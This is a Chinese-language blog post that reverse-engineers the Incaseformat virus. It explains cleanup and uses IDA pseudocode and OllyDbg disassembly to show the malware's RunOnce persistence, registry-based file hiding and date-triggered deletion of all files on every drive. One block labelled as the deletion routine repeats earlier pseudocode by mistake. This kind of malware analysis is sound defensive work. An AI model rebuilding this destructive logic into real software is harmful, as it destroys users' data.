<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          讀懂Incaseformat病毒的廬山真面目!

          共 21302字,需瀏覽 43分鐘

           ·

          2021-02-02 07:15

          讀懂Incaseformat病毒

          1. 這個病毒的廬山真面目。
            其實就是個tsay.exe,用delphi語言開發(fā)的程序,不過它將應(yīng)用程序偽裝成文件夾的一樣的效果,這就是給大家挖了個大坑,大家一般情況下不注意手快就點進去想打開文件夾的那種沖動。
          1. 這個病毒界面的開關(guān)
            這個病毒的界面其實就是一個普通的delphi界面程序,它主要是由一個delphi的label控件和幾個定時器組成的。
          1. 這個病毒樣本的具體功能如下
          1. 這個病毒清理的原理
            (大家可以直接使用殺毒軟件應(yīng)該都更新了對這個的檢測)
            以下是清理這個病毒的原理
          • 將系統(tǒng)盤下的Window文件夾下面的tsay.exe 和ttry.exe刪除了
          • 刪除注冊表中被病毒設(shè)置的自啟動項在具體的SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 這個下面的tsay.exe信息。
          • 將病毒文件強制修改的文件隱藏屬性恢復(fù)回來,建議直接從文件夾選項上去修改就好,簡單便捷,注冊表修改的話比較繁瑣。

          還原Incaseformat病毒

          1. 逆向還原病毒需要用到的工具
          • exeinfope.exe:用于查殼和查開發(fā)語言
          • Procmon.exe:用于監(jiān)控應(yīng)用程序的啟動運行行為
          • Ollydbg.exe: 用于動態(tài)調(diào)試分析破解病毒樣本
          • IDA.exe:用于靜態(tài)分析病毒樣本
          • DeDe.exe:用于分析delphi控件相關(guān)信息
            (以上工具可以自行到網(wǎng)上進行下載)
          1. 對病毒進行查殼
          • 操作方法:可以將病毒文件直接拖進Exeinfo.exe工具也可以選擇用打開方式將病毒文件加載起來。
          • 通過下圖PE加載工具我們可以很清晰的看到該tsay.exe是32位的應(yīng)用程序,而且它是用Delphi語言開發(fā)的。

          • 通過下面區(qū)段信息看到這個就是一個delphi標準的區(qū)段信息,delphi的正常的區(qū)段信息是包含8個區(qū)段信息。而且這個病毒文件是沒有進行加殼加密保護的,其實就是個一個在裸奔的程序,這個給我們逆向還原其功能大大減少了非常多的時間精力了。直接幫我們免了走脫殼解密的步驟,我們就可以直接拿起工具開始進行逆向之旅了。

          1. 對病毒文件進行界面及控件詳細分析
          • 通過DeDe工具上分析到,該病毒文件其實就是一個很簡單的delphi應(yīng)用程序,它界面上就一個Label1控件和4個定時器控件而已。

          • 通過DeDe分析工具我們可以看到,其實這個病毒程序就由五個部分功能組成的,分別為FromCreate、Timer1Timer、Timer2Timer、Timer3Timer、Timer4Timer,其中FromCreate類似于程序的入口函數(shù)(main),剩下4個就是個定時器函數(shù)。
          • 結(jié)合DeDe工具分析可以還原出該病毒軟件其實就是默認創(chuàng)建的Delphi窗口程序,外加幾個定時器功能的。
          • Delphi是一個可視化的語言類似于MFC主要用于做可視化用的,但是在啟動病毒樣本的時候發(fā)現(xiàn)沒彈出任何對話框,這個就涉及到Delphi隱藏窗口的功能,它的實現(xiàn)原理:delphi中Form.Create創(chuàng)建完窗口,不調(diào)用Form.Show就實現(xiàn)隱藏窗口功能。
          1. 逆向還原病毒樣本具體功能
          • 4.1 逆向的要點:逆向delphi程序一般從控件及事件進行作為逆向的突破口進行分析,在IDA中結(jié)合樣本中的字符串信息以及樣本中所加載的導(dǎo)入表中的相關(guān)函數(shù)信息進行做分析。
          • 4.2 通過用IDA工具進行靜態(tài)方式逆向分析還原TForm1_FormCreate這個函數(shù)功能,這個函數(shù)也是這個病毒樣本的入口函數(shù),病毒的功能起源就是這個函數(shù)。它主要功能:1.將病毒樣本放置到系統(tǒng)盤的window目錄下進行偽裝成為系統(tǒng)程序。2.將病毒文件寫入到注冊表中的開機自啟動項里面,以實現(xiàn)每次開機就啟動病毒樣本。

          下面是病毒樣本的IDA中通過強大的F5功能將匯編代碼轉(zhuǎn)換為偽代碼的詳細解釋:

          int?TForm1_FormCreate()
          {
          ??int?System::AnsiString;?//?[sp+68h]?[bp-4h]@1
          ??int?savedregs;?//?[sp+6Ch]?[bp+0h]@1

          ??v22?=?&savedregs;
          ??v21?=?&loc_44F324;
          ??v20?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v20);
          ??v19?=?&savedregs;
          ??v18?=?&loc_44F302;
          ??v17?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v17);
          ??System::ParamStr(0);
          ??Sysutils::ExtractFilePath(v43);???????????????//?從文件名稱獲取文件路徑
          ??System::ParamStr(0);
          ??Sysutils::ExtractFileName(v40);???????????????//?從完整路徑中或病毒文件的具體名稱:tsay.exe
          ??v14?=?unknown_libname_69(v41)?-?4;
          ??System::ParamStr(0);
          ??Sysutils::ExtractFileName(v39);
          ??System::__linkproc__?LStrCopy(&v42);
          ??System::__linkproc__?LStrCat(&System::AnsiString,?v42);
          ??if?(?(unsigned?__int8)Sysutils::DirectoryExists(System::AnsiString)?)//?判斷存放病毒文件的文件夾是否存在
          ??{
          ????System::ParamStr(0);
          ????Sysutils::ExtractFilePath(v37);
          ????System::ParamStr(0);
          ????Sysutils::ExtractFileName(v34);
          ????unknown_libname_69(v35);
          ????System::ParamStr(0);
          ????Sysutils::ExtractFileName(v33);
          ????System::__linkproc__?LStrCopy(&v36);
          ????System::__linkproc__?LStrCatN(&v38,?3,?v0,?v36,?&str___16[1]);
          ????v1?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v38);
          ????ShellExecuteA(0,?0,?v1,?0,?0,?1);
          ??}
          ??if?(?!(unsigned?__int8)Sysutils::FileExists((const?int)&str_C__windows_tsay[1])?)//?判斷tsay.exe病毒文件是否存在
          ??{?????????????????????????????????????????????//?這是執(zhí)行病毒文件不存在的功能
          ????System::ParamStr(0);????????????????????????//?獲取病毒文件的絕對路徑
          ????v2?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v32);//?類型轉(zhuǎn)換
          ????CopyFileA(v2,?"C:\\windows\\tsay.exe",?-1);//?將病毒文件拷貝復(fù)制c:\\windows\\tsay.exe
          ????v3?=?(Registry::TRegistry?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?TRegistry對象來操作注冊表
          ????Registry::TRegistry::SetRootKey(v3,?0x80000002);//?設(shè)置注冊表屬性值
          ????LOBYTE(v4)?=?1;
          ????//?SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce?為了病毒文件開機自啟動
          ????Registry::TRegistry::OpenKey(v3,?(const?int)&str_SOFTWARE_Micros[1],?v4);
          ????Registry::TRegistry::WriteString(v3,?&str_msfsa[1],?&str_C__windows_tsay[1]);//?將tsay.exe病毒文件寫入到注冊表中
          ????Registry::TRegistry::CloseKey(v3);??????????//?關(guān)閉打開的注冊表
          ????v5?=?System::TObject::Free(v3);?????????????//?釋放對象值
          ????System::__linkproc__?Halt0(v5);
          ??}
          ??//?病毒文件存在的情況
          ??v16?=?&savedregs;
          ??v15?=?&loc_44F1A6;
          ??v14?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v14);
          ??System::ParamStr(0);??????????????????????????//?獲取病毒文件的絕對路徑
          ??v6?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v31);
          ??CopyFileA(v6,?"C:\\windows\\tsay.exe",?0);//?將病毒文件拷貝復(fù)制c:\\windows\\tsay.exe
          ??__writefsdword(0,?v14);
          ??v16?=?&savedregs;
          ??v15?=?&loc_44F20F;
          ??v14?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v14);
          ??v7?=?(Registry::TRegistry?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?操作注冊表
          ??Registry::TRegistry::SetRootKey(v7,?0x80000002);//?設(shè)置注冊表key值
          ??LOBYTE(v8)?=?1;
          ??//?操作注冊表?SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce?實現(xiàn)病毒文件開機自啟動
          ??Registry::TRegistry::OpenKey(v7,?(const?int)&str_SOFTWARE_Micros[1],?v8);
          ??Registry::TRegistry::WriteString(v7,?&str_msfsa[1],?&str_C__windows_tsay[1]);//?將病毒文件寫入到注冊表開機啟動項
          ??Registry::TRegistry::CloseKey(v7);????????????//?關(guān)閉注冊表操作
          ??System::TObject::Free(v7);
          ??__writefsdword(0,?v14);
          ??System::ParamStr(0);
          ??Sysutils::UpperCase(v29);?????????????????????//?進行類型轉(zhuǎn)換,將小寫轉(zhuǎn)為大寫
          ??v16?=?v30;
          ??Sysutils::UpperCase((const?int)&str_C__windows_tsay[1]);
          ??System::__linkproc__?LStrCmp(v16,?v28);???????//?比較字符串
          ??if?(?v9?)
          ??{
          ????v16?=?&savedregs;
          ????v15?=?&loc_44F2C5;
          ????v14?=?__readfsdword(0);
          ????__writefsdword(0,?(unsigned?int)&v14);
          ????System::ParamStr(0);????????????????????????//?獲取病毒文件絕對路徑
          ????v11?=?(const?CHAR?*)System::__linkproc__?LStrToPChar(v24);//?進行類型轉(zhuǎn)換
          ????CopyFileA(v11,?"C:\\windows\\ttry.exe",?0);//?將病毒文件拷貝復(fù)制到c:\\window\\tty.exe
          ????__writefsdword(0,?v14);
          ????v12?=?ShellExecuteA(0,?0,?"C:\\windows\\ttry.exe",?0,?0,?0);//?運行病毒文件tty.exe
          ????System::__linkproc__?Halt0(v12);
          ??}
          ??System::ParamStr(0);
          ??Sysutils::UpperCase(v26);
          ??v16?=?v27;
          ??Sysutils::UpperCase((const?int)&str_C__windows_ttry[1]);
          ??v10?=?System::__linkproc__?LStrCmp(v16,?v25);
          ??if?(?!v9?)
          ????System::__linkproc__?Halt0(v10);
          ??__writefsdword(0,?v17);
          ??__writefsdword(0,?(unsigned?int)v21);
          ??v23?=?&loc_44F32B;
          ??return?System::__linkproc__?LStrArrayClr(&v24,?24);
          }
          • 下面是TForm1_FormCreate函數(shù)執(zhí)行完的效果圖 系統(tǒng)目錄下已經(jīng)拷貝進來了病毒文件病毒文件已寫入到注冊表,重啟機器就會在開機自動啟動病毒樣本程序,我們在任務(wù)管理器上就可以看到ttry.exe的應(yīng)用程序了。

          • 4.3 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer1Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:1.獲取病毒樣本運行環(huán)境下的所有磁盤信息,2.遍歷查找所有類型的文件。
          • 下面是病毒樣本中Timer1Timer定時器功能在IDA中幾個關(guān)鍵函數(shù)的詳細解釋:
          int?__usercall?TForm1_Timer1Timer@(int?a1@,?int?a2@)
          {
          ??v8?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v8);
          ??unknown_libname_426(*(_DWORD?*)(a1?+?760),?0);
          ??unknown_libname_426(*(_DWORD?*)(v14?+?768),?1);//?開啟定時器的功能
          ??v7?=?&savedregs;
          ??v6?=?&loc_44EC43;
          ??v5?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v5);
          ??v13?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
          ??sub_44E5C8(&v13,?a2);?????????????????????????//?獲取病毒樣本運行環(huán)境下存在磁盤的具體信息,其中V13是返回具體磁盤信息
          ??v2?=?(*(int?(__stdcall?**)(unsigned?__int32,?void?*,?int?*,?unsigned?__int32))(*(_DWORD?*)v13?+?20))(v5,?v6,?v7,?v8)
          ?????-?1;
          ??if?(?v2?>?0?)
          ??{
          ????v3?=?1;
          ????do
          ????{
          ??????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v13?+?12))(v13,?v3,?&v12);
          ??????sub_44EAB4(v12);??????????????????????????//?遍歷查找所有類型的文件
          ??????++v3;
          ??????--v2;
          ????}
          ????while?(?v2?);
          ??}
          ??__writefsdword(0,?(unsigned?int)v9);
          ??v11?=?&loc_44EC4A;
          ??unknown_libname_426(*(_DWORD?*)(v14?+?760),?1);
          ??System::TObject::Free(v13);
          ??__writefsdword(0,?(unsigned?int)v9);
          ??v11?=?&loc_44EC67;
          ??return?System::__linkproc__?LStrClr(&v12);
          }
          • 下面的函數(shù)是上面Timer1Timer定時器函數(shù)的內(nèi)部調(diào)用獲取磁盤信息調(diào)用的具體代碼實現(xiàn)
          int?__usercall?sub_44E5C8@(_DWORD?*a1@,?int?a2@)
          {
          ??
          ??__writefsdword(0,?(unsigned?int)&v7);
          ??v2?=?67;???????????????????//?67對于的ASCII表示的是C
          ??do
          ??{???????????????????????????//?循環(huán)便利從C盤到Z盤是否存在
          ????if?(?sub_44E54C(v2)?)?????//?通過DiskSize函數(shù)來判斷磁盤是否存在
          ????{?????????????????????????//?下面表示的是存在的情況
          ??????RootPathName?=?v2;
          ??????v16?=?58;
          ??????v17?=?0;
          ??????v3?=?GetDriveTypeA(&RootPathName);???//?判斷磁盤類型
          ??????if?(?v3?==?2?)????????????????//?2表示軟盤
          ??????{
          ????????v13?=?v2;
          ????????v12?=?1;
          ????????System::__linkproc__?PStrCpy(&v11,?&v12);//?字符串拷貝
          ????????LOBYTE(v4)?=?2;
          ????????System::__linkproc__?PStrNCat(&v11,?&dword_44E6CC,?v4);//?字符串拼接
          ????????unknown_libname_67((int)&v14,?&v11);
          ????????(*(void?(__fastcall?**)(_DWORD,?int))(*(_DWORD?*)*v18?+?56))(*v18,?v14);//?存儲到列表里面
          ??????}
          ??????if?(?v3?==?3?)????????//?3表示是本機硬盤
          ??????{
          ????????v13?=?v2;
          ????????v12?=?1;
          ????????System::__linkproc__?PStrCpy(&v11,?&v12);
          ????????LOBYTE(v5)?=?2;
          ????????System::__linkproc__?PStrNCat(&v11,?&dword_44E6CC,?v5);
          ????????unknown_libname_67((int)&v10,?&v11);
          ????????(*(void?(__fastcall?**)(_DWORD,?int))(*(_DWORD?*)*v18?+?56))(*v18,?v10);
          ??????}
          ????}
          ????++v2;
          ??}
          ??while?(?v2?!=?91?);???????//?91在ASCII表里面表示的是[,其實就是遍歷的Z盤
          ??__writefsdword(0,?v7);
          ??v9?=?(int?*)&loc_44E6C3;
          ??System::__linkproc__?LStrClr(&v10);
          ??return?System::__linkproc__?LStrClr(&v14);????//?講記錄的列表信息返還回去
          }
          • 下面函數(shù)是通過遍歷查找所有類型文件并進行記錄
          int?__fastcall?sub_44E6D0(int?a1,?int?a2)
          {
          ?
          ??System::__linkproc__?LStrAddRef(v10);
          ??unknown_libname_74((int)&FatTime,?(int)&byte_406E1C);
          ??v9?=?&savedregs;
          ??v8?=?&loc_44E882;
          ??v7?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v7);
          ??v16?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
          ??v6?=?&savedregs;
          ??v5?=?&loc_44E82E;
          ??v4?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v4);
          ??System::__linkproc__?LStrCat3(&v12,?v18,?&str____[1]);//?*.*類型
          ??Sysutils::FindFirst(v12,?63,?&FatTime);???????//?進行文件的查找
          ??if?(?(v14?&?0x10)?>?0?)
          ??{
          ????System::__linkproc__?LStrCmp(v15,?&str___1[1]);//?.類型,也就是全部文件
          ????if?(?!v2?)
          ??????(*(void?(__fastcall?**)(System::TObject?*,?int))(*(_DWORD?*)v16?+?56))(v16,?v15);
          ??}
          ??while?(?!Sysutils::FindNext(&FatTime)?)
          ??{
          ????if?(?(v14?&?0x10)?>?0?)
          ????{
          ??????System::__linkproc__?LStrCmp(v15,?&str___[1]);//?..類型
          ??????if?(?!v2?)
          ????????(*(void?(__fastcall?**)(System::TObject?*,?int))(*(_DWORD?*)v16?+?56))(v16,?v15);
          ????}
          ??}
          ??Sysutils::FindClose(&FatTime);
          ??System::__linkproc__?LStrCat3(&v11,?v18,?&str____[1]);
          ??Sysutils::FindFirst(v11,?7,?&FatTime);
          ??while?(?!Sysutils::FindNext(&FatTime)?)
          ????;
          ??Sysutils::FindClose(&FatTime);
          ??__writefsdword(0,?v4);
          ??(*(void?(__fastcall?**)(System::TObject?*,?int,?_DWORD))(*(_DWORD?*)v16?+?28))(v16,?v17,?*(_DWORD?*)v16);
          ??System::TObject::Free(v16);
          ??__writefsdword(0,?(unsigned?int)v8);
          ??v10?=?&loc_44E889;
          ??System::__linkproc__?LStrArrayClr(&v11,?2);
          ??System::__linkproc__?FinalizeRecord(&FatTime,?&byte_406E1C);
          ??return?System::__linkproc__?LStrClr(&v18);
          }
          • 4.4 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer2Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:1.用于獲取當前所有樣本下的所有磁盤信息,2.判斷時間開啟病毒刪除文件的功能。
          • 下面是病毒樣本中TForm1_Timer2Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋
          int?__usercall?TForm1_Timer2Timer@(int?a1@,?int?a2@,?long?double?a3@)
          {
          ??System::TObject?*v14;?//?[sp+10h]?[bp-1Ch]@1
          ??unsigned?__int16?v15;?//?[sp+16h]?[bp-16h]@1
          ??unsigned?__int16?v16;?//?[sp+18h]?[bp-14h]@1
          ??long?double?System::TDateTime;?//?[sp+1Ah]?[bp-12h]@1
          ??int?v18;?//?[sp+28h]?[bp-4h]@1
          ??int?savedregs;?//?[sp+2Ch]?[bp+0h]@1

          ??v13?=?0;
          ??v18?=?a1;
          ??v12?=?&savedregs;
          ??v11?=?&loc_44EFA1;
          ??v10?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v10);
          ??unknown_libname_426(*(_DWORD?*)(a1?+?764),?0);//?設(shè)置啟動定時器
          ??v9?=?&savedregs;
          ??v8?=?&loc_44EF84;
          ??v7?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v7);
          ??v14?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
          ??Sysutils::Now();??????????????????????????????//?獲取當前系統(tǒng)的時間
          ??*(double?*)((char?*)&System::TDateTime?+?2)?=?a3;
          ??sub_44E5C8(&v14,?a2);?????????????????????????//?用于獲取當前環(huán)境下的所有磁盤數(shù)據(jù)
          ??//?將時間拆分成月,日,其中V15是月,V14是日
          ??Sysutils::DecodeDate(
          ????(const?int)&System::TDateTime,
          ????&v16,
          ????&v15,
          ????*(unsigned?__int16?**)((char?*)&System::TDateTime?+?2));
          ??if?(?LOWORD(System::TDateTime)?>?0x7D9u?)?????//?判斷當前時間是否大于2009年
          ??{
          ????if?(?v16?>?3u?)?????????????????????????????//?當前月份是否大于3月
          ????{
          ??????if?(?v15?==?1?||?v15?==?10?||?v15?==?21?||?v15?==?29?)//?當前日期是否等于1,10,21,29
          ??????{
          ????????v3?=?(*(int?(**)(void))(*(_DWORD?*)v14?+?20))()?-?1;
          ????????if?(?v3?>?0?)
          ????????{
          ??????????v4?=?1;
          ??????????do
          ??????????{
          ????????????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v14?+?12))(v14,?v4,?&v13);
          ????????????sub_44EC70(v13);????????????????????//?用于循環(huán)操作刪除文件及文件夾
          ????????????++v4;
          ????????????--v3;
          ??????????}
          ??????????while?(?v3?);
          ????????}
          ??????}
          ??????System::TObject::Free(v14);
          ??????v5?=?v7;
          ??????__writefsdword(0,?v7);
          ??????v9?=?(int?*)&loc_44EF8B;
          ??????LOBYTE(v5)?=?1;
          ??????unknown_libname_426(*(_DWORD?*)(v18?+?764),?v5);
          ????}
          ????else
          ????{
          ??????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
          ????}
          ??}
          ??else
          ??{
          ????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
          ??}
          ??__writefsdword(0,?v10);
          ??v12?=?(int?*)&loc_44EFA8;
          ??return?System::__linkproc__?LStrClr(&v13);
          }
          • 下面函數(shù)是通過遍歷并用遞歸方式進行批量的刪除磁盤中的所有文件
          int?__usercall?TForm1_Timer2Timer@(int?a1@,?int?a2@,?long?double?a3@)
          {

          ??long?double?System::TDateTime;?//?[sp+1Ah]?[bp-12h]@1
          ??int?v18;?//?[sp+28h]?[bp-4h]@1
          ??int?savedregs;?//?[sp+2Ch]?[bp+0h]@1

          ??v13?=?0;
          ??v18?=?a1;
          ??v12?=?&savedregs;
          ??v11?=?&loc_44EFA1;
          ??v10?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v10);
          ??unknown_libname_426(*(_DWORD?*)(a1?+?764),?0);//?設(shè)置啟動定時器
          ??v9?=?&savedregs;
          ??v8?=?&loc_44EF84;
          ??v7?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v7);
          ??v14?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
          ??Sysutils::Now();??????????????????????????????//?獲取當前系統(tǒng)的時間
          ??*(double?*)((char?*)&System::TDateTime?+?2)?=?a3;
          ??sub_44E5C8(&v14,?a2);?????????????????????????//?用于獲取當前環(huán)境下的所有磁盤數(shù)據(jù)
          ??//?將時間拆分成月,日,其中V16是月,V15是日
          ??Sysutils::DecodeDate(
          ????(const?int)&System::TDateTime,
          ????&v16,
          ????&v15,
          ????*(unsigned?__int16?**)((char?*)&System::TDateTime?+?2));
          ??if?(?LOWORD(System::TDateTime)?>?0x7D9u?)?????//?判斷當前時間是否大于2009年
          ??{
          ????if?(?v16?>?3u?)?????????????????????????????//?當前月份是否大于3月
          ????{
          ??????if?(?v15?==?1?||?v15?==?10?||?v15?==?21?||?v15?==?29?)//?當前日期是否等于1,10,21,29
          ??????{
          ????????v3?=?(*(int?(**)(void))(*(_DWORD?*)v14?+?20))()?-?1;
          ????????if?(?v3?>?0?)
          ????????{
          ??????????v4?=?1;
          ??????????do
          ??????????{
          ????????????(*(void?(__fastcall?**)(System::TObject?*,?signed?int,?int?*))(*(_DWORD?*)v14?+?12))(v14,?v4,?&v13);
          ????????????sub_44EC70(v13);????????????????????//?用于循環(huán)操作刪除文件及文件夾
          ????????????++v4;
          ????????????--v3;
          ??????????}
          ??????????while?(?v3?);
          ????????}
          ??????}
          ??????System::TObject::Free(v14);
          ??????v5?=?v7;
          ??????__writefsdword(0,?v7);
          ??????v9?=?(int?*)&loc_44EF8B;
          ??????LOBYTE(v5)?=?1;
          ??????unknown_libname_426(*(_DWORD?*)(v18?+?764),?v5);
          ????}
          ????else
          ????{
          ??????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
          ????}
          ??}
          ??else
          ??{
          ????System::__linkproc__?TryFinallyExit(v7,?v8,?v9);
          ??}
          ??__writefsdword(0,?v10);
          ??v12?=?(int?*)&loc_44EFA8;
          ??return?System::__linkproc__?LStrClr(&v13);
          }
          • 4.5 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer3Timer這個定時器函數(shù)的功能,這個函數(shù)的主要功能:通過注冊表方式進行對病毒文件進行隱藏后綴名稱,以及隱藏文件夾。
          • 下面是病毒樣本TForm1_Timer3Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋:
          int?__fastcall?TForm1_Timer3Timer(int?a1)
          {
          ??System::TObject?*v8;?//?[sp+0h]?[bp-8h]@1
          ??int?v9;?//?[sp+4h]?[bp-4h]@1
          ??int?savedregs;?//?[sp+8h]?[bp+0h]@1

          ??v9?=?a1;
          ??unknown_libname_426(*(_DWORD?*)(a1?+?768),?0);
          ??v7?=?&savedregs;
          ??v6?=?&loc_44F505;
          ??v5?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v5);
          ??v8?=?(System::TObject?*)Registry::TRegistry::TRegistry((Registry::TRegistry?*)dword_4259E4);//?操作注冊表
          ??Registry::TRegistry::SetRootKey(v8,?0x80000001);//?設(shè)置key值
          ??LOBYTE(v1)?=?1;
          ??//?打開注冊表Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced?進行隱藏操作
          ??Registry::TRegistry::OpenKey(v8,?(const?int)&str_Software_Micros[1],?v1);
          ??//?寫入HideFileExt?實現(xiàn)隱藏病毒文件的擴展名
          ??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_HideFileExt[1],?1);
          ??//?寫入Hidden
          ??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_Hidden[1],?2);
          ??Registry::TRegistry::CloseKey(v8);????????????//?關(guān)閉注冊表
          ??Registry::TRegistry::SetRootKey(v8,?0x80000002);//?設(shè)置key值
          ??LOBYTE(v2)?=?1;
          ??//?打開注冊表SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
          ??Registry::TRegistry::OpenKey(v8,?(const?int)&str_SOFTWARE_Micros_0[1],?v2);
          ??//?寫入checkedvalue?實現(xiàn)隱藏病毒文件
          ??Registry::TRegistry::WriteInteger(v8,?(const?int)&str_checkedvalue[1],?0);
          ??Registry::TRegistry::CloseKey(v8);
          ??Registry::TRegistry::SetRootKey(v8,?0x80000002);//?設(shè)置key值
          ??LOBYTE(v3)?=?1;
          ??//?SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde
          ??Registry::TRegistry::OpenKey(v8,?(const?int)&str_SOFTWARE_Micros_1[1],?v3);
          ??if?(?(unsigned?__int8)Registry::TRegistry::ValueExists(v8,?(const?int)&str_checkedvalue[1])?)
          ????//?刪除HideFileExt
          ????Registry::TRegistry::DeleteValue(v8,?(const?int)&str_checkedvalue[1]);
          ??Registry::TRegistry::CloseKey(v8);????????????//?關(guān)閉注冊表
          ??__writefsdword(0,?v5);
          ??v7?=?(int?*)&loc_44F50C;
          ??unknown_libname_426(*(_DWORD?*)(v9?+?768),?1);
          ??return?System::TObject::Free(v8);
          }
          • 4.6 通過IDA進行靜態(tài)逆向分析還原TForm1_Timer4Timer這個定時器的函數(shù)功能,這個函數(shù)的主要功能:遍歷所有磁盤信息并對每個操作過的磁盤進行日志incaseformat.log文件。
          • 下面是病毒樣本中TForm1_Timer4Timer定時器功能的幾個關(guān)鍵函數(shù)的詳細解釋:
          int?__usercall?TForm1_Timer4Timer@(int?a1@,?int?a2@)
          {
          ??v10?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v10);
          ??v9?=?&savedregs;
          ??v8?=?&loc_44F70B;
          ??v7?=?__readfsdword(0);
          ??__writefsdword(0,?(unsigned?int)&v7);
          ??unknown_libname_426(*(_DWORD?*)(a1?+?776),?0);//?定時器操作
          ??v17?=?(System::TObject?*)unknown_libname_42((int)cls_Classes_TStringList,?1);
          ??sub_44E5C8(&v17,?a2);?????????????????????????//?遍歷獲取樣本運行環(huán)境的所有磁盤信息
          ??v2?=?(*(int?(__stdcall?**)(unsigned?__int32,?void?*,?int?*,?unsigned?__int32))(*(_DWORD?*)v17?+?20))(v7,?v8,?v9,?v10)
          ?????-?1;
          ??if?(?v2?>?0?)
          ??{
          ????v18?=?1;
          ????v3?=?&v16;
          ????do
          ????{
          ??????v10?=?0xFFFF;
          ??????(*(void?(__fastcall?**)(System::TObject?*,?int,?int?*))(*(_DWORD?*)v17?+?12))(v17,?v18,?(int?*)&v14);
          ??????v9?=?v14;
          ??????System::__linkproc__?LStrCatN(v15,?3,?v4,?&str___17[1],?&str_incaseformat_lo[1]);//?路徑和incaseformat.log
          ??????LOBYTE(v5)?=?1;
          ??????//?用文件流方式進對每個磁盤創(chuàng)建并留下incaseformat.log標記
          ??????*(_DWORD?*)v3?=?Classes::TFileStream::TFileStream((Classes::TFileStream?*)&off_411E10,?v5,?v15[0]);
          ??????++v18;
          ??????v3?+=?4;
          ??????--v2;
          ????}
          ????while?(?v2?);
          ??}
          ??__writefsdword(0,?(unsigned?int)v11);
          ??v13?=?&loc_44F712;
          ??System::TObject::Free(v17);
          ??__writefsdword(0,?(unsigned?int)v11);
          ??v13?=?&loc_44F734;
          ??return?System::__linkproc__?LStrArrayClr(&v14,?2);
          }

          破解Incaseformat病毒

          • 破解要點:通過進程行為監(jiān)控工具以及動態(tài)調(diào)試工具相結(jié)合,進程監(jiān)控工具檢測監(jiān)控到病毒樣本操作文件及注冊表的行為,動態(tài)調(diào)試工具,用字符串大法進行查看并跳轉(zhuǎn)到代碼段進行分析邏輯,并進行修改病毒樣本的邏輯,使得病毒樣本的真正邏輯功能執(zhí)行不到。
          • 通過進程監(jiān)控工具進行監(jiān)控程序行為,下面是進行監(jiān)控指定進程的設(shè)置

          • 監(jiān)控到病毒樣本的啟動行為:注冊表,文件操作

          • ollydbg動態(tài)調(diào)試工具進行附加調(diào)試并進行分析

          • 附加病毒樣本進程,病毒樣本確實是“感動中國特別奉獻”

          • 在ollydbg中分析下程序中的字符串關(guān)鍵的信息

          • 分析如下幾個要破解操作的關(guān)鍵函數(shù),可以通過下打開注冊表的函數(shù)進行下端的,然后通過堆棧進行回溯查找方法進行分析。
          • 破解的關(guān)鍵地方:將拷貝到C:\\window\\目錄和將病毒文件寫入到注冊表的判斷的地方直接修改跳轉(zhuǎn)到函數(shù)結(jié)束的地方。
          0044F24A???.??8D55?A8???????lea?edx,dword?ptr?ss:[ebp-0x58]
          0044F24D???.??33C0??????????xor?eax,eax
          0044F24F???.??E8?9037FBFF???call?ttry.004029E4
          0044F254???.??8B45?A8???????mov?eax,dword?ptr?ss:[ebp-0x58]??????????;??ttry.00452868
          0044F257???.??8D55?AC???????lea?edx,dword?ptr?ss:[ebp-0x54]
          0044F25A???.??E8?5188FBFF???call?ttry.00407AB0
          0044F25F???.??8B45?AC???????mov?eax,dword?ptr?ss:[ebp-0x54]??????????;??ttry.004194A5
          0044F262???.??50????????????push?eax
          0044F263???.??8D55?A4???????lea?edx,dword?ptr?ss:[ebp-0x5C]
          0044F266???.??B8?C4F34400???mov?eax,ttry.0044F3C4????????????????????;??C:\windows\ttry.exe
